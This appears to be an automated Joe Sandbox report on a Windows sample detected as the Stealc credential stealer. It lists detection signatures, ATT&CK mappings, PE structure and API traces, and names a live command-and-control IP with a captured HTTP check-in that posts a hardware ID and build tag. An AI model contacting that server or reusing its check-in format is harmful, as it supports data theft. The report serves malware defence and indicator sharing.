Source: C:\Users\user\Desktop\file.exe

0_2_00D49860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D49750 mov eax, dword ptr fs:[00000030h]

0_2_00D49750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D478E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00D478E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2228, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D49600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00D49600

Source: file.exe, file.exe, 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 'Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00D47B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D47980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00D47980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D47850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00D47850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D47A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00D47A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079880306.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2228, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079880306.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2228, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php~	file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpB	file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpr	file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/C	file.exe, 00000000.00000002.2120585250.0000000000902000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.2120585250.0000000000918000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpF	file.exe, 00000000.00000002.2120585250.0000000000934000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1526104
Start date and time:	2024-10-04 18:55:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 80
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	niko.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	niko.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	Setup.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948017377484882
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'833'472 bytes
MD5:	5e8286d88eeff93b753e7454a6b431fd
SHA1:	9cd9b91b5dd298a811d922714c506581e7c27b96
SHA256:	9c62b127d6790b9b7957057a75441bc1a4e5eaf4f5c6c2669e833154739adb00
SHA512:	ae137bf10ad26dea6ba088903aab92dfe1a67626549adb92665f77bba791f9403f8ea49b30200663c898cb54ac96725ca29f96d233482927683812cc103f8fdf
SSDEEP:	49152:wmr6UD38hhPKt/mY9nb5VwuUDhblam9LLV:wa64IJwV9ERxlZLh
TLSH:	E685339B1E3721A7C4C7E57A429FE29F7CF91CA5F4B01A4C1202DD395AA3D0C376A825
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa93000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC83CAD2E9Ah
psubusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	619932b15396eab894f4fdca7a9af7e3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29a000	0x200	c775d09d08a32b20b0107132327b150b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uygwklsw	0x4f8000	0x19a000	0x199600	0f79664a9d4b7fa4831e1d5431757ab9	False	0.9949165076335877	data	7.954033280427647	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sowhbkpg	0x692000	0x1000	0x600	4e2fa459a9fbb33f15899b6459d90d76	False	0.5611979166666666	data	4.913249727106167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x693000	0x3000	0x2200	bf788d5ec35a2820a23aab1ed7d69e34	False	0.08168658088235294	DOS executable (COM)	0.8890519630107065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T18:56:06.423122+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 18:56:05.490628004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 18:56:05.496113062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 18:56:05.496289968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 18:56:05.496467113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 18:56:05.501353025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 18:56:06.188127041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 18:56:06.188199997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 18:56:06.191490889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 18:56:06.196429014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 18:56:06.422909975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 18:56:06.423121929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 18:56:10.799527884 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	2228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 18:56:05.496467113 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 18:56:06.188127041 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 16:56:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 18:56:06.191490889 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 44 45 44 30 38 33 45 39 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="hwid"22DED083E9503012343576------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="build"doma------DHDAFBFCFHIDAKFIIEBA--
Oct 4, 2024 18:56:06.422909975 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 16:56:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	12:56:01
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd30000
File size:	1'833'472 bytes
MD5 hash:	5E8286D88EEFF93B753E7454A6B431FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2120585250.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2079880306.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00D49860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,008D0570), ref: 00D498A1
GetProcAddress.KERNEL32(75900000,008D0798), ref: 00D498BA
GetProcAddress.KERNEL32(75900000,008D0600), ref: 00D498D2
GetProcAddress.KERNEL32(75900000,008D0810), ref: 00D498EA
GetProcAddress.KERNEL32(75900000,008D07B0), ref: 00D49903
GetProcAddress.KERNEL32(75900000,008D8880), ref: 00D4991B
GetProcAddress.KERNEL32(75900000,008C6820), ref: 00D49933
GetProcAddress.KERNEL32(75900000,008C6840), ref: 00D4994C
GetProcAddress.KERNEL32(75900000,008D07F8), ref: 00D49964
GetProcAddress.KERNEL32(75900000,008D0828), ref: 00D4997C
GetProcAddress.KERNEL32(75900000,008D05B8), ref: 00D49995
GetProcAddress.KERNEL32(75900000,008D05D0), ref: 00D499AD
GetProcAddress.KERNEL32(75900000,008C69A0), ref: 00D499C5
GetProcAddress.KERNEL32(75900000,008D05E8), ref: 00D499DE
GetProcAddress.KERNEL32(75900000,008D0630), ref: 00D499F6
GetProcAddress.KERNEL32(75900000,008C66C0), ref: 00D49A0E
GetProcAddress.KERNEL32(75900000,008D0648), ref: 00D49A27
GetProcAddress.KERNEL32(75900000,008D08A0), ref: 00D49A3F
GetProcAddress.KERNEL32(75900000,008C69E0), ref: 00D49A57
GetProcAddress.KERNEL32(75900000,008D08B8), ref: 00D49A70
GetProcAddress.KERNEL32(75900000,008C6860), ref: 00D49A88
LoadLibraryA.KERNEL32(008D08E8,?,00D46A00), ref: 00D49A9A
LoadLibraryA.KERNEL32(008D0900,?,00D46A00), ref: 00D49AAB
LoadLibraryA.KERNEL32(008D0858,?,00D46A00), ref: 00D49ABD
LoadLibraryA.KERNEL32(008D0870,?,00D46A00), ref: 00D49ACF
LoadLibraryA.KERNEL32(008D0918,?,00D46A00), ref: 00D49AE0
GetProcAddress.KERNEL32(75070000,008D0888), ref: 00D49B02
GetProcAddress.KERNEL32(75FD0000,008D08D0), ref: 00D49B23
GetProcAddress.KERNEL32(75FD0000,008D8FA0), ref: 00D49B3B
GetProcAddress.KERNEL32(75A50000,008D8EF8), ref: 00D49B5D
GetProcAddress.KERNEL32(74E50000,008C6740), ref: 00D49B7E
GetProcAddress.KERNEL32(76E80000,008D89A0), ref: 00D49B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00D49BB6

Strings

NtQueryInformationProcess, xrefs: 00D49BAA

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 9732b54038fcc10b284c362daef6d28e8bd04c267c04b5789f6f3004dd46c566
Instruction ID: e5cc3c57073bc171a6ccc2a1b5f938952a685cd7eae74e5342efb8dc1d25a0eb
Opcode Fuzzy Hash: 9732b54038fcc10b284c362daef6d28e8bd04c267c04b5789f6f3004dd46c566
Instruction Fuzzy Hash: 5EA13BB55042489FD348EFA8ED89D6E3BF9F7CC301706451AA61DC3264D63998C2EB63

Function 00D345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00D3460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00D3479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D345D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D34765
